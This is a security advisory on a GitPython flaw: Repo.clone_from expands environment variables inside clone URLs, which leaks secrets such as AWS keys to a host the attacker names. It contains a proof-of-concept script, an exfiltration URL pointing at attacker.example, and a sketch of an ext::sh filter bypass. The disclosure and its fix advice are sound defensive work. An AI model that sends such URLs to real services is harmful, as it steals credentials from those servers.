PT-2026-63797 · Pypi · Gitpython
Published
2026-07-21
·
Updated
2026-07-21
CVSS v3.1
7.5
High
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
Summary
Repo.clone from() passes the caller-supplied remote URL through Git.polish url(), which on every non-Cygwin platform calls os.path.expandvars() on the URL before handing it to git clone. An attacker who controls the URL argument — the documented use case for clone from() in "import repository from URL" features of CI servers, git-hosting mirrors, and dependency scanners — can embed $NAME / ${NAME} tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as AWS SECRET ACCESS KEY or GITHUB TOKEN with no precondition beyond the ability to submit a clone URL.Details
Affected versions:
gitpython (PyPI) — all releases up to and including 3.1.50 (latest at time of reporting); confirmed present on the main branch.Git.polish url() unconditionally applies environment-variable expansion to its input on the non-Cygwin branch:git/cmd.py (v3.1.50), lines 907–925:python
@classmethod
def polish url(cls, url: str, is cygwin: Union[None, bool] = None) -> PathLike:
"""Remove any backslashes from URLs to be written in config files.
...
"""
if is cygwin is None:
is cygwin = cls.is cygwin()
if is cygwin:
url = cygpath(url)
else:
url = os.path.expandvars(url) # <-- line 921
if url.startswith("~"):
url = os.path.expanduser(url)
url = url.replace("", "").replace("", "/")
return urlRepo. clone() — reached from the public Repo.clone from() (git/repo/base.py:1520) and Repo.clone() — runs the unsafe-protocol check on the raw URL and then passes the polished (post-expansion) URL to the git clone subprocess:git/repo/base.py (v3.1.50), lines 1407–1418:python
if not allow unsafe protocols:
Git.check unsafe protocols(url)
if not allow unsafe options:
Git.check unsafe options(options=list(kwargs.keys()), unsafe options=cls.unsafe git clone options)
if not allow unsafe options and multi:
Git.check unsafe options(options=multi, unsafe options=cls.unsafe git clone options)
proc = git.clone(
multi,
"--",
Git.polish url(url), # <-- line 1417: expanded URL sent to `git clone`
clone path,
...
)Because
os.path.expandvars() on POSIX substitutes $NAME and ${NAME} with os.environ[NAME] when set (and on Windows additionally %NAME%), an attacker-supplied URL such as:https://attacker.example/steal/${AWS SECRET ACCESS KEY}/repo.gitis rewritten server-side to embed the literal secret value in the path component, and
git clone then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to attacker.example. The clone itself will typically fail, but the secret has already left the server by that point.polish url() was written as a local-path normalisation helper (Cygwin path conversion, ~ expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no expand vars=False opt-out for the clone URL, and no documentation that the URL undergoes environment expansion — the clone from docstring describes url only as a "Valid git url". By contrast, the maintainers already flag env-var expansion as a security concern for the local repository path argument: Repo. init emits a deprecation warning ("The use of environment variables in paths is deprecated for security reasons", git/repo/base.py:226–231) and offers expand vars=False. The same treatment is missing for the network-bound clone URL.Secondary consequence (unsafe-protocol filter bypass). Because
check unsafe protocols() runs on the pre-expansion URL (line 1408) but the post-expansion URL is what reaches git, an attacker who additionally controls any environment variable in the server process could set e.g. X=ext::sh -c '...' and submit url="$X"; the raw string $X passes the ext:: filter, then expands to an ext:: remote-helper transport that git will execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability.PoC
Tested against
gitpython==3.1.50 on Linux with Python 3 and git on PATH.bash
python3 -m venv /tmp/gp-venv
/tmp/gp-venv/bin/pip install gitpython==3.1.50
/tmp/gp-venv/bin/python poc.pypoc.py:python
#!/usr/bin/env python3
"""
PoC: environment-variable exfiltration via Repo.clone from() URL.
Demonstrates that an attacker-controlled `url` argument to Repo.clone from()
is passed through os.path.expandvars() before being given to `git clone`,
so `$NAME` tokens in the URL are replaced with the server process's
environment-variable values and transmitted to the attacker-named host.
The PoC intercepts the Popen argv to show the exact URL handed to `git`
without performing real network I/O.
"""
import os
import sys
import subprocess
import tempfile
# Simulate a sensitive server-side environment variable.
os.environ["AWS SECRET ACCESS KEY"] = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
import git # noqa: E402
from git import Git, Repo # noqa: E402
print(f"gitpython version: {git. version }")
# --- Layer 1: Git.polish url() directly --------------------------------------
attacker url = "https://attacker.example/steal/$AWS SECRET ACCESS KEY/repo.git"
polished = Git.polish url(attacker url)
print("
[Layer 1] polish url result:")
print(f" input : {attacker url}")
print(f" output: {polished}")
if os.environ["AWS SECRET ACCESS KEY"] in polished:
print(" -> secret SUBSTITUTED into URL by polish url()")
# --- Layer 2: full Repo.clone from() -- capture argv given to `git` ----------
captured = {}
orig popen = subprocess.Popen
class CapturingPopen(orig popen):
def init (self, cmd, *a, **kw):
if isinstance(cmd, (list, tuple)) and "clone" in cmd:
captured["cmd"] = list(cmd)
super(). init (cmd, *a, **kw)
subprocess.Popen = CapturingPopen
import git.cmd as gitcmd # noqa: E402
gitcmd.safer popen = CapturingPopen # non-Windows: safer popen == Popen
dest = tempfile.mkdtemp(prefix="gp poc ")
try:
Repo.clone from(attacker url, os.path.join(dest, "out"))
except Exception as e:
# The clone fails (attacker.example does not resolve); we only need argv.
print(f"
[Layer 2] clone from raised (expected): {type(e). name }")
subprocess.Popen = orig popen
print("
[Layer 2] argv passed to `git clone` subprocess:")
for tok in captured.get("cmd", []):
print(f" {tok}")
cmd = captured.get("cmd", [])
url arg = cmd[cmd.index("--") + 1] if "--" in cmd else None
print(f"
[Layer 2] URL argument given to git: {url arg}")
secret = os.environ["AWS SECRET ACCESS KEY"]
if url arg and secret in url arg:
print(
"
VULNERABLE: server env var AWS SECRET ACCESS KEY was interpolated "
"into the remote clone URL; git would transmit it to attacker.example."
)
sys.exit(0)
print("
NOT VULNERABLE")
sys.exit(1)Expected output:
gitpython version: 3.1.50
[Layer 1] polish url result:
input : https://attacker.example/steal/$AWS SECRET ACCESS KEY/repo.git
output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git
-> secret SUBSTITUTED into URL by polish url()
[Layer 2] clone from raised (expected): GitCommandError
[Layer 2] argv passed to `git clone` subprocess:
git
clone
-v
--
https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git
/tmp/gp poc XXXXXXXX/out
[Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git
VULNERABLE: server env var AWS SECRET ACCESS KEY was interpolated into the remote clone URL; git would transmit it to attacker.example.The captured argv is the exact command line spawned by GitPython; against a real attacker-controlled host,
git would issue a DNS lookup and HTTP(S) request to that host with the secret embedded in the request path.Impact
Any application that calls
Repo.clone from() (or Repo.clone()) with a URL that is wholly or partially attacker-controlled — the canonical pattern for "import/mirror repository from URL" features in CI systems, source-code hosting platforms, dependency scanners, and build pipelines — allows an unauthenticated or low-privileged attacker to exfiltrate arbitrary environment variables from the server process, one per request, by naming them in the URL. Cloud credentials, API tokens, and signing keys stored in the environment are the primary targets. Applications that do not accept clone URLs from untrusted sources, or that run the cloner in a process with a fully stripped environment, are not affected. There is no direct integrity or availability impact.Suggested fix: Remove the
os.path.expandvars() (and os.path.expanduser()) call from Git.polish url() for inputs that are remote URLs (contain :// or match user@host:path), or remove the expansion entirely and require callers who want local-path env expansion to perform it themselves — mirroring the existing deprecation on Repo(path, expand vars=…). Additionally, apply check unsafe protocols() to the post-transformation URL so no future polish url change can silently bypass the ext:: filter.Fix
Information Disclosure
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Gitpython